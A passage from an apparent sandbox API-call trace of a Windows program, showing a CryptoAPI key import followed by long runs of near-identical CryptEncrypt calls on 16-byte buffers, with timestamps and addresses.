returned 0x1480000 [0159.134] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668570) returned 1 [0159.135] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0159.135] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.135] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.136] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.137] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.138] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 